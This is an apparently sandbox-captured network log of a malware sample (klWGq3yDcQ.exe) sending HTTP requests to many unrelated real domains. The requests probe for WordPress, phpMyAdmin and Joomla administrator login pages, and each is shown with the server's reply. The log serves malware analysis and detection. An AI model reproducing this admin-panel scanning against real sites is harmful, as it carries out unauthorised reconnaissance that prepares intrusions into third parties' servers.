84	192.168.2.4	56070	185.54.192.125	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2023 06:59:31.841475010 CET	228	OUT	GET /PhpMyAdmin/ HTTP/1.1 Host: talentius.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Nov 26, 2023 06:59:32.013397932 CET	588	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 26 Nov 2023 05:59:31 GMT Server: Apache/2.4.52 (Ubuntu) Location: https://talentius.com/PhpMyAdmin/ Content-Length: 320 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 74 61 6c 65 6e 74 69 75 73 2e 63 6f 6d 2f 50 68 70 4d 79 41 64 6d 69 6e 2f 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 32 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 74 61 6c 65 6e 74 69 75 73 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://talentius.com/PhpMyAdmin/">here</a>.</p><hr><address>Apache/2.4.52 (Ubuntu) Server at talentius.com Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.4	56242	15.197.142.173	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2023 06:59:31.949333906 CET	231	OUT	GET /wp-login.php HTTP/1.1 Host: greenrworld.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Nov 26, 2023 06:59:32.047055006 CET	419	IN	HTTP/1.1 404 Not Found Date: Sun, 26 Nov 2023 05:59:31 GMT Content-Type: text/html; charset=utf-8 Content-Length: 125 Connection: keep-alive Server: ip-10-123-122-167.ec2.internal X-Request-Id: f953fd7d-07e5-4972-a064-412a9ffdaf9e Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 27 65 6e 2d 75 73 27 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 2a 2a 20 4e 6f 74 20 46 6f 75 6e 64 20 2a 2a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 48 54 54 50 20 53 74 61 74 75 73 3a 20 34 30 34 20 28 6e 6f 74 20 66 6f 75 6e 64 29 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML><html lang='en-us'><head><title> Not Found </title></head><body>HTTP Status: 404 (not found)</body></html>
Nov 26, 2023 06:59:32.048074961 CET	274	OUT	GET /wp-admin/ HTTP/1.1 Host: greenrworld.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: http://greenrworld.com/wp-login.php
Nov 26, 2023 06:59:32.147106886 CET	418	IN	HTTP/1.1 404 Not Found Date: Sun, 26 Nov 2023 05:59:32 GMT Content-Type: text/html; charset=utf-8 Content-Length: 125 Connection: keep-alive Server: ip-10-123-122-17.ec2.internal X-Request-Id: d75c36b2-cac0-4124-ba0b-f91fc196e22d Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 27 65 6e 2d 75 73 27 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 2a 2a 20 4e 6f 74 20 46 6f 75 6e 64 20 2a 2a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 48 54 54 50 20 53 74 61 74 75 73 3a 20 34 30 34 20 28 6e 6f 74 20 66 6f 75 6e 64 29 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML><html lang='en-us'><head><title> Not Found </title></head><body>HTTP Status: 404 (not found)</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.4	56274	3.33.130.190	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2023 06:59:31.965883017 CET	227	OUT	GET /wp-login.php HTTP/1.1 Host: gmailvz.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Nov 26, 2023 06:59:32.066637039 CET	1340	IN	HTTP/1.1 200 OK Server: openresty Date: Sun, 26 Nov 2023 05:59:32 GMT Content-Type: text/html Content-Length: 1177 Last-Modified: Mon, 13 Nov 2023 23:35:06 GMT Connection: keep-alive ETag: "6552b2aa-499" X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAJRmzcpTevQqkWn6dJuX/N/Hxl7YxbOwy8+73ijqYSQEN+WGxrruAKtZtliWC86+ewQ0msW1W8psOFL/b00zWqsCAwEAAQ_Im0dahsh1K54ucJbpmt1XaL0UPGYQFzyxf31DghrxYIoSp58Qw0ng1SKlZpD76Zxe16REbUJlDfdVT6BYTU5Vg Cache-Control: no-cache X-Content-Type-Options: nosniff Set-Cookie: caf_ipaddr=10.116.88.246;Path=/;Max-Age=86400; Set-Cookie: country=;Path=/;Max-Age=86400; Set-Cookie: city="";Path=/;Max-Age=86400; Set-Cookie: traffic_target=gd;Path=/;Max-Age=86400; Accept-Ranges: bytes Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 2f 3e 3c 74 69 74 6c 65 3e 3c 2f 74 69 74 6c 65 3e 3c 73 63 72 69 70 74 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 61 64 73 65 6e 73 65 2f 64 6f 6d 61 69 6e 73 2f 63 61 66 2e 6a 73 3f 61 62 70 3d 31 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 3c 2f 73 63 72 69 70 74 3e 3c 6e 6f 73 63 72 69 70 74 3e 3c 73 74 79 6c 65 3e 23 63 6f 6e 74 65 6e 74 2d 6d 61 69 6e 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 7d 3c 2f 73 74 79 6c 65 3e 3c 64 69 76 3e 46 6f 72 20 66 75 6c 6c 20 66 75 6e 63 74 69 6f 6e 61 6c 69 74 79 20 6f 66 20 74 68 69 73 20 73 69 74 65 20 69 74 20 69 73 20 6e 65 63 65 73 73 61 72 79 20 74 6f 20 65 6e 61 62 6c 65 20 4a 61 76 61 53 63 72 69 70 74 2e 20 48 65 72 65 20 61 72 65 20 74 68 65 20 3c 61 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 20 72 65 6c 3d 22 6e 6f 6f 70 65 6e 65 72 20 6e 6f 72 65 66 65 72 72 65 72 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f Data Ascii: <!doctype html><html lang="en"><head><meta http-equiv="content-type" content="text/html;charset=utf-8"/><meta name="viewport" content="width=device-width,initial-scale=1"/><link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon"/><title></title><script src="https://www.google.com/adsense/domains/caf.js?abp=1" type="text/javascript"></script><noscript><style>#content-main{display:none}</style><div>For full functionality of this site it is necessary to enable JavaScript. Here are the <a target="_blank" rel="noopener noreferrer" href="https://
Nov 26, 2023 06:59:32.066651106 CET	669	IN	Data Raw: 77 77 77 2e 65 6e 61 62 6c 65 2d 6a 61 76 61 73 63 72 69 70 74 2e 63 6f 6d 2f 22 3e 69 6e 73 74 72 75 63 74 69 6f 6e 73 20 68 6f 77 20 74 6f 20 65 6e 61 62 6c 65 20 4a 61 76 61 53 63 72 69 70 74 20 69 6e 20 79 6f 75 72 20 77 65 62 20 62 72 6f 77 Data Ascii: www.enable-javascript.com/">instructions how to enable JavaScript in your web browser</a>.</div></noscript><script type="application/javascript">window.LANDER_SYSTEM="PW"</script><script type="text/javascript">var abp=void 0</script><script ty
Nov 26, 2023 06:59:32.068110943 CET	338	OUT	GET /wp-admin/ HTTP/1.1 Host: gmailvz.com Accept: / Accept-Encoding: deflate, gzip Cookie: traffic_target=gd; caf_ipaddr=10.116.88.246; country=; city="" User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: http://gmailvz.com/wp-login.php
Nov 26, 2023 06:59:32.079921961 CET	669	IN	Data Raw: 77 77 77 2e 65 6e 61 62 6c 65 2d 6a 61 76 61 73 63 72 69 70 74 2e 63 6f 6d 2f 22 3e 69 6e 73 74 72 75 63 74 69 6f 6e 73 20 68 6f 77 20 74 6f 20 65 6e 61 62 6c 65 20 4a 61 76 61 53 63 72 69 70 74 20 69 6e 20 79 6f 75 72 20 77 65 62 20 62 72 6f 77 Data Ascii: www.enable-javascript.com/">instructions how to enable JavaScript in your web browser</a>.</div></noscript><script type="application/javascript">window.LANDER_SYSTEM="PW"</script><script type="text/javascript">var abp=void 0</script><script ty
Nov 26, 2023 06:59:32.166634083 CET	1340	IN	HTTP/1.1 200 OK Server: openresty Date: Sun, 26 Nov 2023 05:59:32 GMT Content-Type: text/html Content-Length: 1177 Last-Modified: Mon, 13 Nov 2023 23:35:06 GMT Connection: keep-alive ETag: "6552b2aa-499" X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAJRmzcpTevQqkWn6dJuX/N/Hxl7YxbOwy8+73ijqYSQEN+WGxrruAKtZtliWC86+ewQ0msW1W8psOFL/b00zWqsCAwEAAQ_RcCZQzz6qYIENyHeJY2FSb+VMd8CNRxy2yBsxxOiWwd/yMD4sK6wxGGKM5IH6urXtRJjuYvuZrM8XSKVcgVlFQ Cache-Control: no-cache X-Content-Type-Options: nosniff Set-Cookie: caf_ipaddr=10.116.88.246;Path=/;Max-Age=86400; Set-Cookie: country=;Path=/;Max-Age=86400; Set-Cookie: city="";Path=/;Max-Age=86400; Set-Cookie: traffic_target=gd;Path=/;Max-Age=86400; Accept-Ranges: bytes Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 2f 3e 3c 74 69 74 6c 65 3e 3c 2f 74 69 74 6c 65 3e 3c 73 63 72 69 70 74 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 61 64 73 65 6e 73 65 2f 64 6f 6d 61 69 6e 73 2f 63 61 66 2e 6a 73 3f 61 62 70 3d 31 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 3c 2f 73 63 72 69 70 74 3e 3c 6e 6f 73 63 72 69 70 74 3e 3c 73 74 79 6c 65 3e 23 63 6f 6e 74 65 6e 74 2d 6d 61 69 6e 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 7d 3c 2f 73 74 79 6c 65 3e 3c 64 69 76 3e 46 6f 72 20 66 75 6c 6c 20 66 75 6e 63 74 69 6f 6e 61 6c 69 74 79 20 6f 66 20 74 68 69 73 20 73 69 74 65 20 69 74 20 69 73 20 6e 65 63 65 73 73 61 72 79 20 74 6f 20 65 6e 61 62 6c 65 20 4a 61 76 61 53 63 72 69 70 74 2e 20 48 65 72 65 20 61 72 65 20 74 68 65 20 3c 61 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 20 72 65 6c 3d 22 6e 6f 6f 70 65 6e 65 72 20 6e 6f 72 65 66 65 72 72 65 72 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f Data Ascii: <!doctype html><html lang="en"><head><meta http-equiv="content-type" content="text/html;charset=utf-8"/><meta name="viewport" content="width=device-width,initial-scale=1"/><link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon"/><title></title><script src="https://www.google.com/adsense/domains/caf.js?abp=1" type="text/javascript"></script><noscript><style>#content-main{display:none}</style><div>For full functionality of this site it is necessary to enable JavaScript. Here are the <a target="_blank" rel="noopener noreferrer" href="https://
Nov 26, 2023 06:59:32.166661978 CET	216	IN	Data Raw: 77 77 77 2e 65 6e 61 62 6c 65 2d 6a 61 76 61 73 63 72 69 70 74 2e 63 6f 6d 2f 22 3e 69 6e 73 74 72 75 63 74 69 6f 6e 73 20 68 6f 77 20 74 6f 20 65 6e 61 62 6c 65 20 4a 61 76 61 53 63 72 69 70 74 20 69 6e 20 79 6f 75 72 20 77 65 62 20 62 72 6f 77 Data Ascii: www.enable-javascript.com/">instructions how to enable JavaScript in your web browser</a>.</div></noscript><script type="application/javascript">window.LANDER_SYS
Nov 26, 2023 06:59:32.166671991 CET	507	IN	Data Raw: 54 45 4d 3d 22 50 57 22 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 76 61 72 20 61 62 70 3d 76 6f 69 64 20 30 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 74 79 70 Data Ascii: TEM="PW"</script><script type="text/javascript">var abp=void 0</script><script type="text/javascript" src="/px.js?ch=1&abp=1"></script><script type="text/javascript" src="/px.js?ch=2&abp=1"></script><script defer="defer" src="https://img1.wsim
Nov 26, 2023 06:59:32.179944992 CET	507	IN	Data Raw: 54 45 4d 3d 22 50 57 22 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 76 61 72 20 61 62 70 3d 76 6f 69 64 20 30 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 74 79 70 Data Ascii: TEM="PW"</script><script type="text/javascript">var abp=void 0</script><script type="text/javascript" src="/px.js?ch=1&abp=1"></script><script type="text/javascript" src="/px.js?ch=2&abp=1"></script><script defer="defer" src="https://img1.wsim

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.4	56296	47.246.24.211	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2023 06:59:31.965883017 CET	223	OUT	GET /phpmyadmin/ HTTP/1.1 Host: wonka.cc Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Nov 26, 2023 06:59:32.065097094 CET	601	IN	HTTP/1.1 301 Moved Permanently Server: Tengine Date: Sun, 26 Nov 2023 05:59:32 GMT Content-Type: text/html Content-Length: 262 Connection: keep-alive Location: https://wonka.cc/phpmyadmin/ Via: ens-cache8.us18[,0] Timing-Allow-Origin: * EagleId: 2ff6189c17009783720068001e Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 68 61 73 20 62 65 65 6e 20 61 73 73 69 67 6e 65 64 20 61 20 6e 65 77 20 70 65 72 6d 61 6e 65 6e 74 20 55 52 49 2e 3c 2f 70 3e 0d 0a 3c 68 72 2f 3e 50 6f 77 65 72 65 64 20 62 79 20 54 65 6e 67 69 6e 65 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>301 Moved Permanently</h1><p>The requested resource has been assigned a new permanent URI.</p><hr/>Powered by Tengine</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.4	56329	54.83.33.36	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2023 06:59:31.967703104 CET	227	OUT	GET /phpmyadmin/ HTTP/1.1 Host: ce-logic.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Nov 26, 2023 06:59:32.061657906 CET	585	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 26 Nov 2023 05:59:32 GMT Server: Apache/2.4.52 (Ubuntu) Location: https://ce-logic.com/phpmyadmin/ Content-Length: 318 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 65 2d 6c 6f 67 69 63 2e 63 6f 6d 2f 70 68 70 6d 79 61 64 6d 69 6e 2f 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 32 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 63 65 2d 6c 6f 67 69 63 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://ce-logic.com/phpmyadmin/">here</a>.</p><hr><address>Apache/2.4.52 (Ubuntu) Server at ce-logic.com Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.4	56236	104.26.12.245	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2023 06:59:32.013000965 CET	230	OUT	GET /phpmyadmin/ HTTP/1.1 Host: hightideinc.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Nov 26, 2023 06:59:32.146816015 CET	702	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 26 Nov 2023 05:59:32 GMT Transfer-Encoding: chunked Connection: keep-alive Cache-Control: max-age=3600 Expires: Sun, 26 Nov 2023 06:59:32 GMT Location: https://hightideinc.com/phpmyadmin/ Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=brAiF2UxAh2gQi90xvNu5ii4h43lP4Raa4lnZvZZeWADvgyjHJU6sSCNxArpAkaJ%2Bq7%2BMXRDtLPEbqVq2hzUt9MVVsKZ%2BrXIqGfibWwt2byLk%2FeaAMAnlzFMI3BfUAPh%2BA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding Server: cloudflare CF-RAY: 82bfe7e9582c0816-IAD Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.4	56293	162.241.62.220	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2023 06:59:32.013084888 CET	233	OUT	GET /phpmyadmin/ HTTP/1.1 Host: lumaruniformes.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.4	56098	133.130.97.143	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2023 06:59:32.013086081 CET	280	OUT	GET /administrator/index.php HTTP/1.1 Host: digdig.org Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: http://digdig.org/administrator/
Nov 26, 2023 06:59:32.269383907 CET	501	IN	HTTP/1.1 404 Not Found Date: Sun, 26 Nov 2023 05:59:32 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.1e-fips mod_fcgid/2.3.9 PHP/5.4.16 Content-Length: 221 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /administrator/index.php was not found on this server.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.4	56384	15.197.142.173	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2023 06:59:32.021636963 CET	235	OUT	GET /wp-login.php HTTP/1.1 Host: svenssonfriends.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Nov 26, 2023 06:59:32.120031118 CET	419	IN	HTTP/1.1 404 Not Found Date: Sun, 26 Nov 2023 05:59:32 GMT Content-Type: text/html; charset=utf-8 Content-Length: 125 Connection: keep-alive Server: ip-10-123-122-242.ec2.internal X-Request-Id: 279bbd8c-e9fb-452d-a555-9c5c62aa2151 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 27 65 6e 2d 75 73 27 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 2a 2a 20 4e 6f 74 20 46 6f 75 6e 64 20 2a 2a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 48 54 54 50 20 53 74 61 74 75 73 3a 20 34 30 34 20 28 6e 6f 74 20 66 6f 75 6e 64 29 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML><html lang='en-us'><head><title> Not Found </title></head><body>HTTP Status: 404 (not found)</body></html>
Nov 26, 2023 06:59:32.120320082 CET	282	OUT	GET /wp-admin/ HTTP/1.1 Host: svenssonfriends.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: http://svenssonfriends.com/wp-login.php
Nov 26, 2023 06:59:32.219139099 CET	419	IN	HTTP/1.1 404 Not Found Date: Sun, 26 Nov 2023 05:59:32 GMT Content-Type: text/html; charset=utf-8 Content-Length: 125 Connection: keep-alive Server: ip-10-123-122-167.ec2.internal X-Request-Id: 28c2f7ec-66a8-43c7-b694-011be95364eb Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 27 65 6e 2d 75 73 27 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 2a 2a 20 4e 6f 74 20 46 6f 75 6e 64 20 2a 2a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 48 54 54 50 20 53 74 61 74 75 73 3a 20 34 30 34 20 28 6e 6f 74 20 66 6f 75 6e 64 29 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML><html lang='en-us'><head><title> Not Found </title></head><body>HTTP Status: 404 (not found)</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.4	56332	45.40.150.54	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
